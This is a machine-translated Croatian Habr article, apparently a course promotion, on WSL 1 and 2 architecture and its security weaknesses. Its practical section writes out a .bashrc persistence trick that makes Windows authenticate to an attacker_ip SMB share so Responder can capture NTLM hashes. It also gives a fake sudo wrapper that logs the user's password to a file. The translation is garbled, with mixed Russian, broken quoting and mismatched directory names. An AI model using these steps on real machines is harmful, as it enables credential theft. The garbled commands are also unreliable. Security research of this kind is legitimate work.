WSL eksperimenti. 1. dio

Pozdrav, habr! OTUS pokreće novi tečaj u listopadu "Linux sigurnost". U iščekivanju početka tečaja, s vama dijelimo članak koji je napisao jedan od naših učitelja, Alexander Kolesnikov.

WSL eksperimenti. 1. dio

Microsoft je 2016. IT zajednici predstavio novu WSL tehnologiju (Wiznutra Spodsustav za Linux), što je u budućnosti omogućilo ujedinjenje prethodno nepomirljivih konkurenata koji su se borili za popularnost među običnim i naprednim korisnicima OS-a: Windows i Linux. Ova je tehnologija omogućila korištenje alata Linux OS-a u Windows okruženju bez potrebe za pokretanjem Linuxa, na primjer, korištenjem Multi-boot-a. Na Habru možete pronaći velik broj članaka koji opisuju prednosti korištenja WSL-a. Međutim, nažalost, u vrijeme stvaranja ovog članka, na ovom resursu nisu pronađene studije o sigurnosti takve simbioze operativnih sustava. Ovaj post će biti pokušaj da se to ispravi. U članku će se govoriti o značajkama WSL 1 i 2 arhitekture i ispitati nekoliko primjera napada na sustave koji koriste ove tehnologije. Članak je podijeljen u 2 dijela. Prvi će pružiti glavne teorijske metode napada iz Linuxa i Windowsa. Drugi članak će uključivati ​​postavljanje testnog okruženja i reprodukciju napada.

WSL 1: arhitektonske značajke

Za najpreciznije uronjenje u sigurnosna pitanja WSL-a potrebno je odrediti glavne nijanse povezane s implementacijom podsustava. Jedan od glavnih korisničkih zadataka koje rješava WSL je mogućnost rada preko Linux terminala na hostu koji pokreće Windows OS. Također, ponuđena kompatibilnost bila je toliko izvorna da se Linux izvršne datoteke (ELF-ovi) mogu pokretati izravno na Windows sustavu. Kako bi se postigli ovi ciljevi, u sustavu Windows 10 stvoren je poseban podsustav koji vam omogućuje pokretanje Linux aplikacija pomoću skupa specifičnih sistemskih poziva - stoga je napravljen pokušaj preslikavanja skupa Linux sistemskih poziva na Windows. Ovo je fizički implementirano dodavanjem novih upravljačkih programa i novog formata procesa. Vizualno je arhitektura izgledala ovako:

WSL eksperimenti. 1. dio

Naime, interakcija s operativnim sustavom Linux organizirana je kroz nekoliko kernel modula i posebnu vrstu procesa - pico. Iz gornjeg dijagrama možete vidjeti da proces koji se izvodi na instanci Linuxa na glavnom računalu mora biti izvorni i mora koristiti iste resurse kao obične Windows aplikacije. Ali kako to postići? U projektu Pokretni most Razvijeni su koncepti procesa za Windows koji osiguravaju sve potrebne komponente operativnog sustava (ovisno o njegovoj verziji) za pokretanje aplikacije drugog OS-a.

Imajte na umu da je predložena apstrakcija omogućila da se ne fokusira na operacijski sustav (osobito Windows), u kojem se očekuje pokretanje procesa drugog OS-a, te je predložila opći pristup.

Stoga bi se svaka aplikacija unutar pico procesa mogla pokrenuti bez obzira na Windows kernel:

  1. Probleme kompatibilnosti i prijevoda sistemskih poziva moraju rješavati posebni pružatelji usluga;
  2. Kontrola pristupa mora se vršiti kroz Security Monitor. Monitor se nalazi u jezgri i stoga je Windowsima bila potrebna nadogradnja u obliku novog upravljačkog programa koji bi mogao djelovati kao pružatelj takvih procesa. Prototip pico procesa shematski je prikazan u nastavku:

WSL eksperimenti. 1. dio

Budući da Linux datotečni sustav koristi nazive datoteka i direktorija koji razlikuju velika i mala slova, 2 vrste datotečnih sustava dodane su Windowsu za rad s WSL-om - VolFS i DriveFS. VolFS je implementacija Linux datotečnog sustava, DriveFS je datotečni sustav koji radi prema Windows pravilima, ali ima mogućnost odabira osjetljivosti na velika i mala slova.

WSL 2

WSL 1 imao je brojna ograničenja koja nisu dopuštala njegovu upotrebu za rješavanje maksimalnog raspona zadataka: na primjer, nije imao mogućnost pokretanja 32-bitnih Linux aplikacija i bilo je nemoguće koristiti upravljačke programe uređaja. Stoga je 2020. godine objavljen WSL 2 koji je promijenio pristup izgradnji podsustava. WSL 2 je optimizirano virtualno računalo koje odgovara karakteristikama potrošnje resursa WSL-a 1. Sada, ovisno o problemima koje rješava korisnik OS-a Windows, možete odabrati potrebnu verziju podsustava Linux. Kako bi se ublažile moguće ranjivosti, WSL 2 je implementiran na temelju Hyper-V u Windows 10. U ovom obliku, Windows ima mogućnost pokretanja jezgre operativnog sustava Linux u izolaciji. Vrijedno je podsjetiti da je verzija 1 WSL-a predstavljena kao beta značajka koja je trebala pokazati smjer razvoja Windowsa na ovom području, pa je prelazak na Hyper-V bio neizbježan. Konačna arhitektura izgleda ovako:

WSL eksperimenti. 1. dio

U ovoj verziji, jezgre Windows i Linux imaju vlastite resurse, a sjecište postoji samo u datotečnom sustavu, ali to sjecište nije potpuno. Interakcija između datotečnih sustava provodi se kroz klijent-poslužitelj omotač koji radi pomoću 9P protokola.

Danas Microsoft nudi mogućnost prebacivanja između WSL 1 i WSL 2. Obje su verzije dostupne za korištenje.

WSL sigurnost

Trenutačno postoji nekoliko radova koji opisuju neke pristupe korištenju legitimnih OS alata za napad na komunikaciju između podsustava. Koristit ćemo njihove skripte da provjerimo relevantnost napada u vrijeme pisanja. Opći popis napada i scenarija:

1. Implementacija datotečnog sustava: prava pristupa, dostupnost zajedničkih direktorija/mehanizama za razmjenu podataka.

Provedeno je istraživanje kako bi se utvrdila kršenja pravila pristupa iz Linux FS->Windows FS, Windows FS->Linux FS. Istraživanje je pokazalo mogućnost izmjene određene datoteke unutar ciljanog OS-a. Također se pokušalo zamijeniti, stvoriti duplikate i izbrisati dio datotečnih sustava.

Scenarij:

  • A. Napad iz operativnog sustava Windows - izmjena datoteka iz /etc direktorija OS-a Linux.
  • B. Napad iz operativnog sustava Linux - izmjena datoteka u direktorijima: C:Windows, C:Program Files, C:Users<User>

2. Implementacija mrežnog stoga.

Istraživanje je provedeno na primjerima napada iz operativnog sustava Linux na Windows. Korištene su značajke mrežnog stoga, odnosno mehanizmi autentifikacije na različitim resursima.

Scenarij:

  • Otvaranje pristupa portu koji je zauzet na Windows sustavu
  • Otvaranje porta bez odgovarajućih prava
  • Pokretanje obrnute ljuske pomoću datoteke elf na operativnom sustavu Windows.

3. Skrivanje pokretanja procesa zlonamjernog softvera pomoću WSL podsustava.

Istraživanje se temeljilo na jednostavnoj činjenici - sigurnosni podsustavi ne mogu presresti događaje u drugom kernelu koji radi pomoću legitimnog pružatelja iz operativnog sustava u slučaju WSL 1. U slučaju WSL 2, ne postoji način da se vide događaji koji se događaju u zasebnoj jezgri unutar laganog virtualnog stroja.

Scenarij:

1) Pokrenite aplikaciju za udaljeni pristup sustavu i pregledajte zabilježene događaje.

WSL 1 eksperimenti: hash presretanje (Windows)

Konačno smo došli do praktičnog dijela. Prvo morate postaviti testno okruženje. Svi eksperimenti će se provoditi na stolu s instaliranim Windows 10 2004. Slika Ubuntu 18.04 odabrana je kao slika operativnog sustava za WSL. Slika je odabrana nasumično, a svaka druga će raditi isto. Naredbe za postavljanje postolja:

Prvo morate pokrenuti powershell.exe kao administrator.

Za WSL 1 trebate pokrenuti naredbe:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Nakon ponovnog pokretanja postolja, možete pozvati naredbu bash. Ako je sve radilo ispravno, vidjet ćete ispis sličan ovom u Windows konzoli:

    WSL eksperimenti. 1. dio

    Koristit ćemo Kali Linux distribuciju kao napadačev stroj; svi strojevi moraju biti na istoj lokalnoj mreži.

    Pretpostavimo da imamo neprivilegirani pristup WSL-u na Windows računalu. Pokušajmo napasti operativni sustav Linux pozivanjem naredbe iz Linuxa. Za provedbu napada koristit ćemo jednostavnu tehniku ​​autorun-a - dodat ćemo našu skriptu za izvođenje u Linux okruženju. Da biste to učinili, morate promijeniti datoteku .bashrc.

    Na stroju s WSL-om izvršavamo:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Na Kali Linux stroju pokrećemo:

    1. Responder -I eth0 -rdvw

    Na Windows računalu, pokrenimo bash.

    Čekamo rezultat na Kali Linux stroju:

    WSL eksperimenti. 1. dio

    Tako smo Windows korisničke hashove dobili kroz WSL podsustav izvršavanjem naredbe na Linux sustavu.

    WSL 1 eksperimenti: dobivanje korisničke lozinke (Linux OS)

    Napravimo još jedan eksperiment. Tijekom ove provjere dodat ćemo u datoteku .bashrc nekoliko naredbi kako biste dobili korisničku lozinku operativnog sustava Linux.

    Pokrenimo bash i unesite naredbe:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Da bi uspješno dovršio napad, korisnik Sam treba pozvati sudo na Linux terminalu. Nakon toga, korisnička lozinka za Linux OS bit će u datoteci pass.txt:

    WSL eksperimenti. 1. dio

    Provedba napada data je samo kao teoretska informacija.

    Sljedeći dio članka opisat će implementaciju 9P protokola, razmotriti stvaranje skenera za ovaj protokol, te izvršiti napad pomoću njega.

    Popis korištene literature

    WSL eksperimenti. 1. dio

    Čitaj više

    Izvor: www.habr.com

    Dodajte komentar